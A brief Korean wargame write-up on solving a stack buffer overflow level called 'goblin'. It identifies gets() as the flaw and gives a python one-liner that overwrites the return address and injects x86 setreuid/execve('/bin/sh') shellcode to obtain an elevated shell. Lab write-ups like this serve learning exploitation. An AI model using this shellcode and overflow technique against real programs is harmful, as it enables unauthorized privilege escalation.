Goblin.c 파일을 확인해 보면 gets() 함수를 볼수 있다 gets함수는 앞에서 확인한거 처럼 취약점 존재한다
ret 뒤에 주소에 shellcode를 대입해서 풀어보면 쉽게 풀수있다
인터넷 검색하다 찾은 꿀팁 gets 함수 일때는 gdb에서 입력하기가 까다롭다
(python -c 'print "A"*16+"BBBB"') > shellcode
이런식으로 입력하고 gdb에서는
run < shellcode 입력하면 정상적으로 값이 입력되는걸 확인할 수 있다
shellcode를 올리면 처음 시작하는 위치로 ret을 설정해주고 get함수니까
(python -c 'print "A"*16+"BBBB"+"\x80\xfa\xff\xbf"+"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x52\x8d\x5c\x24\x04\x53\xb0\x0b\x8b\x1c\x24\x8d\x0c\x24\xcd\x80"';cat) | ./goblin
입력해주면 권한을 받을수 있다
'WARGAME > BOF' 카테고리의 다른 글
[BOF] wolfman->darkelf (0) | 2018.02.08 |
---|---|
[BOF] Orc->wolfman (0) | 2018.02.08 |
[BOF] Goblin-> orc (0) | 2018.02.08 |
[BOF] gremlin-> cobolt (0) | 2018.02.08 |
[BOF] gate-> gremlin (0) | 2018.02.08 |